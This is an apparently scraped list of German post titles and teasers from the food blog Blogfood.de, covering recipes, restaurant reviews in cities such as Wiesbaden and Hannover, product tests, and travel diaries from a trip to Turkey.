- [Rösti mit Paprikagemüse](https://www.blogfood.de/roesti-mit-paprikagemuese/) - Blogfood.de - Denn wir lieben Essen: Der Rösti wurde aus rohen Kartoffeln zubereitet und in reichlich Butterschmalz ausgebacken. Beim Paprikagemüse habe ich ein wenig mit Chili und Kokosmilch experimentiert. P.S.: Anstelle von Butterschmalz kann zum Ausbacken auch ein hoch erhitzbares Pflanzenöl verwendet werden - dann wäre das Gericht vegan.
- [Hummus mit Ajvar und Oliven](https://www.blogfood.de/hummus-mit-ajvar-und-oliven/) - Blogfood.de - Denn wir lieben Essen: Hummus mit Ajvar und Oliven P.S.: Ohne die Paprikabutter ist Hummus übrigens vegan.
- [In Butter geschmorter Spargel mit aufgeschäumter Hollandaise](https://www.blogfood.de/in-butter-geschmorter-spargel-mit-aufgeschaeumter-hollandaise/) - Blogfood.de - Denn wir lieben Essen: In Butter geschmorter Spargel mit aufgeschäumter Hollandaise
- [Im Ofen gegarter Spargel mit Salzkartoffeln und Sauce Hollandaise](https://www.blogfood.de/im-ofen-gegarter-spargel-mit-salzkartoffeln-und-sauce-hollandaise/) - Blogfood.de - Denn wir lieben Essen: Im Ofen gegarter Spargel mit Salzkartoffeln und Sauce Hollandaise
- [Nudelauflauf mit Paprika und Kirschtomaten](https://www.blogfood.de/nudelauflauf-mit-paprika-und-kirschtomaten/) - Blogfood.de - Denn wir lieben Essen: Nudelauflauf mit Paprika und Kirschtomaten
- [Basilikum-Safran-Risotto mit Mozzarella](https://www.blogfood.de/basilikum-safran-risotto-mit-mozzarella/) - Blogfood.de - Denn wir lieben Essen: Basilikum-Safran-Risotto mit Mozzarella
- [Grießsuppe mit Vanilleeis und Kirschen](https://www.blogfood.de/griesssuppe-mit-vanilleeis-und-kirschen/) - Blogfood.de - Denn wir lieben Essen: Grießsuppe mit Vanilleeis und Kirschen
- [Karottensticks mit Kräuterdip](https://www.blogfood.de/karottensticks-mit-kraeuterdip/) - Blogfood.de - Denn wir lieben Essen:
- [Griechisches Restaurant Knossos (Wiesbaden-Biebrich)](https://www.blogfood.de/griechisches-restaurant-knossos-wiesbaden-biebrich/) - Blogfood.de - Denn wir lieben Essen: Solide griechische Küche bietet das Knossos in Wiesbaden-Biebrich. Salate, Oliven und Tzatziki waren sehr gut. Das Fleisch war saftig und schmeckte ganz passabel, lediglich der Reis war etwas trocken geraten. Preislich sicherlich in Ordnung. Um die Bilder zu vergrößern, diese bitte anklicken. --- Restaurant Knossos Straße der Republik 3 65203 Wiesbaden-Biebrich Telefon: 0611 / 694451
- [Spirelli mit Tomaten-Hack-Sauce und Käse](https://www.blogfood.de/spirelli-mit-tomaten-hack-sauce-und-kaese/) - Blogfood.de - Denn wir lieben Essen:
- [Frischgeflügel: Fehlersuche](https://www.blogfood.de/frischgefluegel-fehlersuche/) - Blogfood.de - Denn wir lieben Essen: Wer findet den Fehler?
- [Steak- und Kartoffelhaus Vier Jahreszeiten (Hannover)](https://www.blogfood.de/steak-und-kartoffelhaus-vier-jahreszeiten-hannover/) - Blogfood.de - Denn wir lieben Essen: Steaks sehr guter Qualität und hervorragenden Geschmacks bietet das Steak- und Kartoffelhaus "Vier Jahreszeiten" in Hannover (Nähe Döhrener Turm). Auch zu später Stunde serviert man dort noch erstklassig zubereitete und auf den Punkt gegarte Fleischgerichte. Hier einige Impressionen aus unserer Bestellung: --- Steak- und Kartoffelhaus Vier Jahreszeiten Waldhausenstraße 1 30519 Hannover www.restaurant-vierjahreszeiten.de Telefon: 0511 /
- [Yak und Yeti (Berlin)](https://www.blogfood.de/yak-und-yeti-berlin/) - Blogfood.de - Denn wir lieben Essen: Hier gibt es echtes Yak-Fleisch, eine nepalesische Spezialität und nicht nur im Himalaya ein Genuss. Nun ja, zumindest die Saucen waren sehr lecker. Das Yak-Fleisch war im Grunde so sehr verkocht, das sein Geschmack nicht zweifelsfrei zu beurteilen war. Sehr freundliches Personal, das auch gerne bereit ist, über Herkunft und Zubereitung der Speisen Auskunft zu
- [Hähnchen Cordon bleu vom Grill mit Weißkohl in Rahmsauce und Schwenkkartoffeln](https://www.blogfood.de/haehnchen-cordon-bleu-vom-grill-mit-weisskohl-in-rahmsauce-und-schwenkkartoffeln/) - Blogfood.de - Denn wir lieben Essen:
- [Spaghetti Bolognese mit Schafskäse](https://www.blogfood.de/spaghetti-bolognese-mit-schafskaese/) - Blogfood.de - Denn wir lieben Essen:
- [Gutsausschank Bonnets Weincabinet (Niederwalluf)](https://www.blogfood.de/gutsausschank-bonnets-weincabinet-niederwalluf/) - Blogfood.de - Denn wir lieben Essen: Wunderbare, aber auch zum Teil sehr üppige Weinstuben-Kost gibt es im Rheingau en masse. Ausprobiert haben wir einmal den Gutsausschank von Bonnets Weincabinet in Niederwalluf. Wie erwartet waren die Speisen sehr mächtig, insgesamt aber auch äußerst lecker. Unser Testessen im Überblick: Womit ich
- [Putenfilet mit Pilzen](https://www.blogfood.de/putenfilet-mit-pilzen/) - Blogfood.de - Denn wir lieben Essen:
- [Pizza mit Broccoli, Champignons, Shrimps und Kochschinken](https://www.blogfood.de/pizza-mit-broccoli-champignons-shrimps-und-kochschinken/) - Blogfood.de - Denn wir lieben Essen:
- [Frühstücksbuffet im Weser Yacht Club Restaurant (Bremerhaven)](https://www.blogfood.de/fruehstucksbuffet-im-weser-yacht-club-restaurant-bremerhaven/) - Blogfood.de - Denn wir lieben Essen: Ein reichhaltiges und leckeres Frühstücksbuffet gibt es im Weser Yacht Club Restaurant Bremerhaven zum Preis von 11,30 Euro pro Person. Insbesondere die fangfrischen Nordseekrabben sind dort zu empfehlen, aber auch alle anderen Fischspezialitäten gehören zu einem ausgedehnten Yachtfrühstück dazu. Rührei mit Nordseekrabben. Zum Vergrößern bitte Bilder anklicken: --- Restaurant Weser Yacht Club Borriesstr. 52a 27570
- [Burger, Steak und Co. in der YOURS Sports Bar (Wiesbaden)](https://www.blogfood.de/burger-steak-und-co-in-der-yours-sports-bar-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Über die YOURS Sports Bar in Wiesbaden haben wir ja bereits einige Male berichtet (hier und hier). Nun waren wir in letzter Zeit wieder häufiger dort und möchten euch hier die neuesten Impressionen aus der Sports Bar präsentieren. Alle Gerichte waren wieder sehr lecker und sind eine klare Empfehlung von Blogfood.de.
- [Lachsfilet mit Dill und Tortellini in Sahnesauce](https://www.blogfood.de/lachsfilet-mit-dill-und-tortellini-in-sahnesauce/) - Blogfood.de - Denn wir lieben Essen:
- [Brauerei-Gaststätte Wienecke XI. (Hannover)](https://www.blogfood.de/brauerei-gaststaette-wienecke-xi-hannover/) - Blogfood.de - Denn wir lieben Essen: Hervorragende gutbürgerliche Küche gibt es in der bekannten Brauerei-Gaststätte Wienecke in Hannover. Normale Preislage, bestellt habe ich ein Schweineschnitzel mit Bratkartoffeln und Gemüsebeilage für 12,50 Euro. --- Brauerei-Gaststätte Wienecke XI. Hildesheimer Straße 380 30519 Hannover www.wienecke.de/hannover-hotel/gastronomie/brauereigaststaette.html Telefon: 0511 / 12611538 Öffnungszeiten: täglich von 11.30 bis 14.30 Uhr und von 17.30 bis 21.30 Uhr
- [Schweine-Nackensteak mit Kartoffel-Paprika-Pfannengemüse](https://www.blogfood.de/schweine-nackensteak-mit-kartoffel-paprika-pfannengemuese/) - Blogfood.de - Denn wir lieben Essen:
- [Blogfood.de-Expresstest: Mit Fantasia auf Geschmacksreise…](https://www.blogfood.de/blogfood-de-expresstest-mit-fantasia-auf-geschmacksreise/) - Blogfood.de - Denn wir lieben Essen: Ende Oktober wurden wir vom Pressebüro von Danone angeschrieben, ob wir nicht Lust hätten den neuen Danone Fantasia zu testen. Natürlich mussten wir nicht lange überlegen und haben zugestimmt. So machte sich also jeweils eine gut verpackte und gekühlte Ladung mit den neuen Danone Fantasia Joghurts auf nach Wiesbaden und Bremerhaven. Fantasia heißt die neue
- [Unser Frühstück & das Mainzer Kohlebrötchen](https://www.blogfood.de/unser-fruehstueck-das-mainzer-kohlebroetchen/) - Blogfood.de - Denn wir lieben Essen: Freitag, 12. Juni 2009 Total ausgehungert, ohne Frühstück und ohne Morgenkaffee in Mainz angekommen, schafften wir es nicht einmal bis ins nächste Café: Eine x-beliebige Bäckerei, deren Name uns inzwischen wieder entfallen ist, suchten wir auf dem Weg vom Bahnhof in Richtung Innenstadt auf. Die Schaufensterauslage war einfach zu verlockend. Herr Hauser liebäugelte mit einem
- [Restaurant Algarve (Wiesbaden)](https://www.blogfood.de/restaurant-algarve-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Portugiesische Venusmuscheln, serviert in der Kupferschale mit Limetten. Wunderbar abgeschmeckt und eindeutig zu empfehlen. Weniger beeindruckend war dagegen der Kabeljau in zu viel Sauce und teilweise übergartem Gemüse. Die Grillvarianten der zahlreichen Fischgerichte sahen hingegen vielversprechender aus. --- Restaurant Algarve Kaiser-Friedrich-Ring 73 65185 Wiesbaden www.restaurant-algarve.de Telefon: 0611 / 812312 Öffnungszeiten: täglich von 18.00 bis
- [Griechisches Restaurant Hellas (Fürstenau)](https://www.blogfood.de/griechisches-restaurant-hellas-fuerstenau/) - Blogfood.de - Denn wir lieben Essen: Das Hellas in Fürstenau bietet eine solide griechische Küche, netten Service und ist in Fürstenau eines der wenigen Restaurants, die für ein gemütliches Abendessen einen Besuch wert sind. Der Grillteller mit Souvláki und anderen griechischen Fleischspezialitäten war vollkommen in Ordnung, sehr gut zubereitet waren die butterweichen Calamari. Restaurant Hellas Buten Porten 6 49584 Fürstenau
- [WG-Blog.de kommentiert Deutschland-Italien](https://www.blogfood.de/wg-blogde-kommentiert-deutschland-italien/) - Blogfood.de - Denn wir lieben Essen: Exklusiv: Das WG-Blog.de-Team kommentiert das WM-Halbfinalspiel zwischen Deutschland und Italien. Knallharter Sportjournalismus für echte Fußballfans. Unbedingt reinhören! - Hochgradig motiviert führen die beiden WG-Blog.de-Kommentatoren durch die erste Halbzeit. - http://wg-blog-de.podspot.de/files/deuit1hz.asf
- [WG-Blog.de kommentiert Deutschland-Italien, Verlängerung Teil 2](https://www.blogfood.de/wg-blogde-kommentiert-deutschland-italien-verlangerung-teil-2/) - Blogfood.de - Denn wir lieben Essen: In der zweiten Hälfte der Verlängerung überschlagen sich die Ereignisse. Nur unsere beiden WG-Blog.de-Kommentatoren scheinen nicht ganz mitzukommen - oder wollen es vielleicht nicht wahrhaben, dass das Spiel schon fast vorbei ist. Fußball-Emotionen vom Feinsten! http://wg-blog-de.podspot.de/files/deuit4hz.asf
- [WG-Blog.de kommentiert Deutschland-Italien, 2. Halbzeit](https://www.blogfood.de/wg-blogde-kommentiert-deutschland-italien-2-halbzeit/) - Blogfood.de - Denn wir lieben Essen: Die zweite Halbzeit entpuppt sich nicht nur für die beiden Fußball-Teams als unerwartet kräftezehrend. Auch dem WG-Blog.de-Team merkt man die fehlende Kondition an. Doch mit ihrem eindrucksvollen Hintergrundwissen können die beiden Kommentatoren über das zeitweise lethargische Spiel der Halbfinalisten hinwegtäuschen. Kommentar (Audio)
- [Schmeckt nicht gibt's nicht bei Tim Mälzer...](https://www.blogfood.de/schmeckt-nicht-gibts-nicht-bei-tim-maelzer/) - Blogfood.de - Denn wir lieben Essen: Zumindest nicht in seinem Hamburger Restaurant "das weisse haus". Dort war nämlich gestern das WG-Blog.de-Team zu Gast, um sich einmal selbst ein Bild von der vielfach gelobten Küche Mälzers zu machen. Natürlich blieb es nicht bei einem Bild, sondern lief auf ein 4-Gänge-Menü hinaus. Doch der Reihe nach... Unser erstes Ziel war nämlich das Vapiano
- [Feingekochtes von Brörmann: Rinderroulade](https://www.blogfood.de/feingekochtes-von-broermann-rinderroulade/) - Blogfood.de - Denn wir lieben Essen: Hier nun schon mein zweiter Test von Brörmanns Feingekochtem. Während ich beim letzten Mal das Sauerkraut getestet habe, kam bei diesem Test die Rinderroulade dran. Wie bereits im letzten Artikel erwähnt, sehe ich die Verwendung von Convenience-Food in aller Regel kritisch - das war auch bei der Rinderroulade von Brörmann nicht anders, obwohl ich ja
- [Feingekochtes von Brörmann: Sauerkraut](https://www.blogfood.de/feingekochtes-von-broermann-sauerkraut/) - Blogfood.de - Denn wir lieben Essen: Convenience-Food begegne ich in aller Regel sehr skeptisch - so auch zunächst dem von mir auf eine Empfehlung hin getesteten Sauerkraut aus dem Glas aus der Reihe "Feingekochtes" von Brörmann, dem Feinschmecker. Stefan Brörmann, der bereits zwei Bücher ("Brörmann der Feinschmecker" und "Alleman so weiter") verfasst hat, betreibt einen sehr gut sortierten und empfehlenswerten Verbrauchermarkt
- [Grillbuffet im Seaside (Bremerhaven)](https://www.blogfood.de/grillbuffet-im-seaside-bremerhaven/) - Blogfood.de - Denn wir lieben Essen: Ein außerordentlich reichhaltiges und sehr leckeres Grillbuffet bietet das Seaside in Bremerhaven. Das Seaside liegt direkt am Weserdeich oberhalb vom Weserstrandbad, so dass man einen perfekten Blick auf Strand und Wasser hat. Bilder zum Vergrößern bitte anklicken: --- Restaurant SeaSide Am Alten Vorhafen 8 27568 Bremerhaven www.restaurant-seaside.de Telefon: 0471 / 1429440 Öffnungszeiten: Dienstag bis
- [Ristorante Turnhalle (Wiesbaden-Biebrich)](https://www.blogfood.de/ristorante-turnhalle-wiesbaden-biebrich/) - Blogfood.de - Denn wir lieben Essen: Nach dem Betreten des Gebäudes wunderten wir uns zunächst, ob wir hier wirklich richtig sind - geradeaus geht es nämlich direkt in die Turnhalle, also in eine richtige, und zwar die des Turnvereins Biebrich 1846 j.P. Ein Schild verweist aber tatsächlich auf den Eingang des italienischen Lokals, das sich in demselben Gebäude befindet und nicht
- [Geräucherter Lachs vom Grill](https://www.blogfood.de/geraeucherter-lachs-vom-grill/) - Blogfood.de - Denn wir lieben Essen: Im Kugelgrill mit Buchenholz geräucherter Lachs, dazu Zucchini und Champignons vom Grill und lauwarmer Kartoffelsalat.
- [Frühstück in der Domäne Mechtildshausen (Wiesbaden-Erbenheim)](https://www.blogfood.de/fruehstuck-in-der-domaene-mechtildshausen-wiesbaden-erbenheim/) - Blogfood.de - Denn wir lieben Essen: Ausgezeichnete Produkte, zumeist aus eigener Ernte und Herstellung, bietet die bekannte Domäne Mechtildshausen. Das Café Bohne bietet diese zum direkten Verzehr vor Ort, in unserem Fall in Form eines überaus leckeren Frühstücks an: Zum Vergrößern der Bilder, diese bitte anklicken: --- Domäne Mechtildshausen 65201 Wiesbaden-Erbenheim www.domaene-mechtildshausen.de Telefon: 0611 / 7374-0
- [Altes Handelshaus (Plauen)](https://www.blogfood.de/altes-handelshaus-plauen/) - Blogfood.de - Denn wir lieben Essen: Ein Muss für jeden kulinarischen Besuch in Plauen (Vogtland) ist das Alte Handelshaus. In geselliger Atmosphäre und beeindruckend detailliert eingerichteten Räumlichkeiten wird eine Vielzahl an Vogtländer Spezialitäten serviert. Gegessen habe ich eine fantastische Brotsuppe sowie die Bierkutscherpfanne mit "Bambes", einer Reibekuchen-Variante, bei der rohe geriebene Kartoffeln verwendet werden. --- Altes Handelshaus Straßberger Straße 17 08523
- [Testbericht: Volvic leichtperlig](https://www.blogfood.de/testbericht-volvic-leichtperlig/) - Blogfood.de - Denn wir lieben Essen: Im Rahmen eines Produkttests hat Blogfood.de die Mineralwasser-Sorte Volvic leichtperlig getestet. Volvic ist eigentlich für sein kohlensäurefreies Mineralwasser, Volvic naturelle, bekannt. Wir müssen sagen, dass uns dieses nach dem Geschmackstest von Volvic leichtperlig auch nach wie vor am besten schmeckt. Die leicht kohlensäurehaltige Variante von Volvic trifft hingegen nicht wirklich unseren Geschmack. Dadurch, dass das
- [Türkischer Salat](https://www.blogfood.de/turkischer-salat/) - Blogfood.de - Denn wir lieben Essen:
- [Pizzeria Da Benito (Wiesbaden-Schierstein)](https://www.blogfood.de/pizzeria-da-benito-wiesbaden-schierstein/) - Blogfood.de - Denn wir lieben Essen: Dieser Laden hat uns völlig überrascht. Zitat aus der Sortimentsbeschreibung: "Telefon-Handykarten, Süßigkeiten, Knabbereien, Tabakwaren, Getränke, Pizza, Nudeln, Überbackene Nudeln, Reisgerichte, Knackige Salate, Menüs, Herzhafte Sandwiches". Wir waren uns anfangs nicht ganz sicher, ob es sich nicht doch eher um einen Kiosk handeln würde, aber man versicherte uns glaubhaft, dass es eine Pizzeria sei. Nun gut,
- [Putengeschnetzeltes mit frischer Petersilie](https://www.blogfood.de/putengeschnetzeltes-mit-frischer-petersilie/) - Blogfood.de - Denn wir lieben Essen:
- [Soleys (Berlin)](https://www.blogfood.de/soleys-berlin/) - Blogfood.de - Denn wir lieben Essen: Das Soleys in Berlin (Wilmersdorf, Bundesplatz / Innsbrucker Platz) bietet einen modernen Mix aus spanischer, amerikanischer und Tex-Mex-Küche. Wir waren schon mehrfach dort und sind bisher nie enttäuscht worden. Auch ohne Reservierung findet man im Soleys meistens noch gut einen freien Tisch. Die Burger sind ganz okay, sehr zu empfehlen ist aber die reiche Auswahl
- [Hähnchen in Kokosmilch](https://www.blogfood.de/haehnchen-in-kokosmilch/) - Blogfood.de - Denn wir lieben Essen: Hähnchen in Kokosmilch
- [Geschmorter Chicoree auf Kartoffelpüree](https://www.blogfood.de/geschmorter-chicoree-auf-kartoffelpueree/) - Blogfood.de - Denn wir lieben Essen: Geschmorter Chicoree auf Kartoffelpüree
- [Frühstück im Pomp in Mainz](https://www.blogfood.de/fruehstueck-im-pomp-in-mainz/) - Blogfood.de - Denn wir lieben Essen: Live aus dem Pomp in Mainz: Tapas-Frühstück und Schweizer Frühstück, jeweils mit Vitaminbombe aus der Crushed-Ice-Schale.
- [Il Gondoliere (Wiesbaden)](https://www.blogfood.de/il-gondoliere-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Italienische Gemüsesuppe, die leider nicht ganz kleckerfrei serviert wurde. Ein tieferer Teller wäre hier sicher hilfreich gewesen. Daneben entpuppte sich die Suppe in ihrer Konsistenz recht wässrig und blieb dadurch geschmacklich kaum in Erinnerung. Besser schnitten hingegen die Rigatoni Bolognese ab - die kräftig und sehr fruchtig schmeckende Sauce überzeugte. Außerdem zu empfehlen sind:
- [John-Wayne-Burger in der American Sports Bar Wiesbaden](https://www.blogfood.de/john-wayne-burger-in-der-american-sports-bar-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Am letzten langen Wochenende hat sich das Blogfood.de-Team in Wiesbaden zu einer kleinen kulinarischen Erlebnisreise getroffen. Den Beginn machte am 11. Juni die Yours Sports Bar. Im authentisch nachempfundenen amerikanischen Ambiente der Sports Bar verbrachten wir den ersten Abend. Natürlich nicht ohne etwas zu essen. Die Karte der American Sports Bar bietet für jeden Geschmack
- [American Brunch in der Yours Sports Bar Wiesbaden](https://www.blogfood.de/american-brunch-in-der-yours-sports-bar-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Als hätten wir am Abend vorher nicht schon genug gegessen, kamen wir anlässlich des Schlemmerwochenendes natürlich nicht umhin, noch einmal in der Yours Sports Bar in Wiesbaden zum American Brunch vorbeizuschauen. Richtig, noch einmal - denn schließlich hatte unsere kulinarische Erlebnisreise ja bereits drei Tage zuvor genau dort mit einem John-Wayne-Burger begonnen. Den gab es
- [Touristenabzocke im Café Français (Luxemburg)](https://www.blogfood.de/touristenabzocke-im-cafe-francais-luxemburg/) - Blogfood.de - Denn wir lieben Essen: Da haben sich Herr Hauser und Herr Kuna mal wieder so richtig über den Tisch ziehen lassen. Natürlich erst wieder stundenlang durch Luxemburg gelaufen, um dann am Ende im erstbesten Touri-Lokal zu landen. Man hätte selbstverständlich längst zig bessere Restaurants aufsuchen können, aber die Angst, dort möglicherweise nicht satt zu werden, war wieder mal allgegenwärtig.
- [Ruenthai (Hannover)](https://www.blogfood.de/ruenthai-hannover/) - Blogfood.de - Denn wir lieben Essen: Der beste Thai in Hannover. --- Ruenthai Restaurant Lavesstraße 79 (Nähe Thielenplatz / Schauspielhaus) 12345 Hannover www.ruenthai.de Telefon: 0511 / 328999 Öffnungszeiten: Montag bis Freitag, 12.00 bis 14.30 Uhr und 18.00 bis 23.00 Uhr Samstag und Sonntag, 18.00 bis 23.00 Uhr
- [Casino Wolfgang Lequen (Wiesbaden)](https://www.blogfood.de/casino-wolfgang-lequen-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Einige Impressionen aus der Wiesbadener Kantine "Casino" von Wolfgang Lequen, das u. a. ein abwechslungsreiches Mittagsangebot bietet: Casino Wolfgang Lequen Hagenauer Straße 42 65203 Wiesbaden Telefon: 0611 / 9259112 http://casino.vistec.net Öffnungszeiten: Montag bis Freitag, 7.00 bis 14.00 Uhr
- [Geburtstags-Frühstückstisch mit Rührei, Speck, Obst und Milchkaffee](https://www.blogfood.de/geburtstags-fruhstuckstisch-mit-ruhrei-speck-obst-und-milchkaffee/) - Blogfood.de - Denn wir lieben Essen:
- [Hotel Altdeutsche Bierstube (Oelsnitz)](https://www.blogfood.de/hotel-altdeutsche-bierstube-oelsnitz/) - Blogfood.de - Denn wir lieben Essen: Wen es einmal nach Oelsnitz (Vogtland) verschlagen sollte, dem sei dieses erstklassige Hotel ans Herz gelegt. Lichtdurchflutet präsentiert sich zunächst das breite Entrée des Zimmers, das mit opulent dekorierter Auslegeware und bequemem Schlafmobiliar (knapp unter King-Size-Größe) ausgestattet eine entspannte Nacht verspricht. Der fette Flachbildschirm darf hier selbstverständlich nicht fehlen. In der Lobby wird man selbstverständlich
- [Akropolis (Wiesbaden) und Michael Opoczynski beim Einkaufen](https://www.blogfood.de/akropolis-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Ehrliche, griechische Küche, allerdings in etwas enger Bestuhlung. Die Speisen überzeugten allesamt durch perfekte Würzung und handwerklich einwandfreie Zubereitung. Dass das Restaurant schon eine halbe Ewigkeit existiert, spricht für sich. Zufällig wurde während unseres Besuchs im Nebenraum eine Szene für die ZDF-Sendung WISO gedreht, die allerdings nie ausgestrahlt wurde. Witzigerweise begegnete mir wenige Tage später
- [Stammhaus Michael Balzer (Wiesbaden)](https://www.blogfood.de/stammhaus-michael-balzer-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Das inzwischen leider geschlossene Restaurant "Stammhaus Michael Balzer" in Wiesbaden lockte mit kreativer Küche und exzellentem Service. Hier einige gesammelte Impressionen:
- [HipHipHurra, endlich Urlaub...](https://www.blogfood.de/hiphiphurra-endlich-urlaub/) - Blogfood.de - Denn wir lieben Essen: Juhu, endlich Urlaub. Oliver (rechter Pfeil) und ich (linker Pfeil) fahren endlich in den Urlaub. Und zwar geht´s in die Türkei an die Türkische Riviera, nach Alanya, Kemer sowie Pamukkale. Richtig cool. Dauert allerdings noch gut vier Monate. Dafür ist es aber günstig. Nur 150 € für 8 Tage. Da nimmt man auch gerne eine
- [Wir sind zurück aus dem Urlaub...](https://www.blogfood.de/wir-sind-zurueck-aus-dem-urlaub/) - Blogfood.de - Denn wir lieben Essen: Das Bild oben ist nur ein kleiner Vorgeschmack. Es erwarten euch lustige und spannende Geschichten (z.B. über verlorene Koffer, redselige Reiseleiter, berühmte Teppichverkäufer, türkische Kneipenbesitzer mit bayerischem Akzent, Omelett am Morgen usw.) und noch schlimmere Fotos.
- [Aus Zwei mach Vier...](https://www.blogfood.de/aus-zwei-mach-vier/) - Blogfood.de - Denn wir lieben Essen: Jo ne. Bald gehts los. Die Reisevorbereitungen sind im vollen Gange. Ich weiß gar nicht wann ich noch packen soll. ;-) Aber warum nur zu zweit? Zu viert macht das Ganze doch wesentlich mehr Spaß. Also kurzerhand noch zwei Leute dazu gesucht, gefunden und einfach mal nachgebucht. Alles kein Thema. Also das ist die neue
- [Altersvorsorge durch MEHR Urlaub](https://www.blogfood.de/altersvorsorge-durch-mehr-urlaub/) - Blogfood.de - Denn wir lieben Essen: Ja, Sie lesen richtig, Herr Steinbrück!Wir leisten durch mehr Urlaub einen Beitrag zur Altervorsorge. Unser Modell: ganz einfach...Die oben stehende Grafik lässt ganz klar einen Trend zu größerer Urlaubsbereitschaft erkennen. Waren es am 07.07. noch zwei einsame Studenten, die spontan einen Türkeiurlaub im November buchten, zogen bereits eine gute Woche später zwei weitere Anti-Pauschaltouristen nach.
- [VIVA ITALIA (Den Weltmeistertitel gönnen wir ihnen aber nicht!!!)](https://www.blogfood.de/viva-italia-den-weltmeistertitel-goennen-wir-ihnen-aber-nicht/) - Blogfood.de - Denn wir lieben Essen: Sehr geehrte Damen und Herren, wir stellen uns vor!!! Wir, zwei nette junge Mädels aus dem schönen Osnabrücker Landen ziehen heute los um die große weite Welt zu erobern. Italiener, Griechen nehmt euch in Acht!!! Wenn wir mit euch fertig sind, wird nichts mehr so sein wie es mal war. Ja mit der Bahn durch halb
- [Juhuuuu wir sinds...](https://www.blogfood.de/juhuuuu-wir-sinds/) - Blogfood.de - Denn wir lieben Essen: Kalimera, hier der langersehnte erste Teil unseres Reiseberichtes. Ja lang ist es her, dass Svenja und ich aufgebrochen sind, die weite Welt zu erobern. So weit so gut. Nun sitzen wir gerade mitten in Athen in sagen wir mal -fuer die naechsten zwei Tage- unserer eigenen Wohnung und gucken Ariell. Morgen wird dann die Akropolis
- [Alles ganz harmlos...](https://www.blogfood.de/alles-ganz-harmlos/) - Blogfood.de - Denn wir lieben Essen: Jaaaa, da simma wieder, na toll, freu mich, nee ja ganz wirklich, ist schon toll wieder daheim zu sein. Warum auch noch nach Venedig fahren, wenn doch das wunderbare Hannover ruft. Ja ich weiß, der liebe Olli wird jetzt wieder im Dreieck springen, weil "wehe du sagst was gegen das schöne Hannover", und dieser Satz
- [Bildungsreise Türkei - Reisevorbereitungen](https://www.blogfood.de/bildungsreise-tuerkei-reisevorbereitungen/) - Blogfood.de - Denn wir lieben Essen: Nachdem Herr Hauser schon seit Tagen auf gepackten Koffern gesessen hatte, konnte es am 27.11.2006 endlich in Richtung Hannover - und damit der Türkei ein Stück näher - gehen. Gut 17 Stunden und 12 Minuten vor Abflug traf Herr Hauser also in Hannover ein und es ging auf in Olivers Wohnung. Dieser steckte noch voll
- [Schnee für sieben Euro](https://www.blogfood.de/schnee-fuer-sieben-euro/) - Blogfood.de - Denn wir lieben Essen: All denen, die sehnsüchtig unsere Türkei-Reiseberichte erwarten, sei gesagt, dass wir bereits "Material" für unsere nächsten Reiseberichte sammeln - und zwar in Stockholm/Schweden. Für schlappe sieben Euro hat uns HLX dorthin geflogen, was nicht einmal zwei Stunden dauerte. Merkwürdig, dass wir für den (Fuß-) Weg vom Flughafen zum Hostel etwa genauso lange gebraucht haben... Und
- [Bildungsreise Türkei - Start](https://www.blogfood.de/bildungsreise-tuerkei-start/) - Blogfood.de - Denn wir lieben Essen: 28.11.2006 - Nachdem Herr Hauser und Herr Kuna schon einige Zeit am Flughafen verbracht hatten, bemerkte Herr Hauser beim Blick auf sein Mobiltelefon, dass Gesine vergeblich versucht hatte, ihn am Abend vorher zu erreichen. Somit rief er also mal zurück und teilte ihr die Abflugzeit mit. Warum sie davon noch nichts wusste, ist bis heute
- [Bildungsreise Türkei - Landung](https://www.blogfood.de/bildungsreise-tuerkei-landung/) - Blogfood.de - Denn wir lieben Essen: 28.11.2006 - Gegen 14:25 Uhr Ortszeit landeten wir also in Antalya (endlich wieder die Beine bewegen). Nach der Passkontrolle ging es zum Gepäckband und von dort endlich nach draußen in die Sonne, mit wunderbaren 25 Grad - das richtige Urlaubswetter. Es ging also auf zum bereitgestellten Bus von Berge & Meer, wo Reiseleiter Hauser seine
- [Bildungsreise Türkei - Göynük - Das erste Hotel](https://www.blogfood.de/bildungsreise-tuerkei-goeynuek-das-erste-hotel/) - Blogfood.de - Denn wir lieben Essen: Untergebracht waren wir im 5*-Hotel Royal Resort in Göynük, in der Region Kemer. Das liegt etwa 45 Minuten Fahrzeit entfernt vom Flughafen Antalya und 10 Minuten von Kemer. Der Ort Göynük hat an sich nicht viel zu bieten: Im Stadtzentrum befinden sich ein paar Geschäfte sowie Restaurants und eine Post. Am Strand reiht sich Hotel
- [Bildungsreise Türkei - Göynük - 29.11.2006](https://www.blogfood.de/bildungsreise-tuerkei-goeynuek-29112006/) - Blogfood.de - Denn wir lieben Essen: Mittwoch, 29.11.2006 Das erste gemeinsame Frühstück war für 08:00 Uhr geplant, jedoch haben sich Oliver und Pascal selber ausgetrickst und sind eine Stunde zu spät aufgestanden. Sowas passiert nun mal, wenn man vergisst die Uhren auf die aktuelle Zeitzone umzustellen. Hektik ließen wir natürlich trotzdem nicht aufkommen - schließlich hatten wir Urlaub! Gegen elf Uhr
- [Bildungsreise Türkei - Göynük - 30.11.2006](https://www.blogfood.de/bildungsreise-tuerkei-goeynuek-30112006/) - Blogfood.de - Denn wir lieben Essen: Donnerstag, 30.11.2006 Der von Oliver und Pascal bestellte Weckruf für 8 Uhr ging voll in die Hose und die zur Sicherheit gestellten Handywecker wurden ignoriert. Man beschloss, dass die Reception Schuld sei für das verpasste Frühstück. Aus Frust oder weil einfach die ganze Nacht CSI-Folgen auf VOX geguckt wurden, verbrachte Herr Hauser den Tag
- [Bildungsreise Türkei - Göynük/Pamukkale - Katrins Geburtstag](https://www.blogfood.de/bildungsreise-tuerkei-goeynuekpamukkale-katrins-geburtstag/) - Blogfood.de - Denn wir lieben Essen: Freitag, 01.12.2006 Gegen 5.30 Uhr wurden Oliver und Pascal aus dem Schlaf gerissen, es war Zeit zum Aufstehen. Noch schnell im Bad fertig machen, Koffer packen, Bilder vom Sonnenaufgang machen und ab zum Frühstückssaal. Dort bereiteten die beiden Herren flott ein Super-Überraschungs-Geburtstagsfrühstück vor, soll heißen, man beförderte das Buffet auf kleineren Platten auf den Stammtisch.
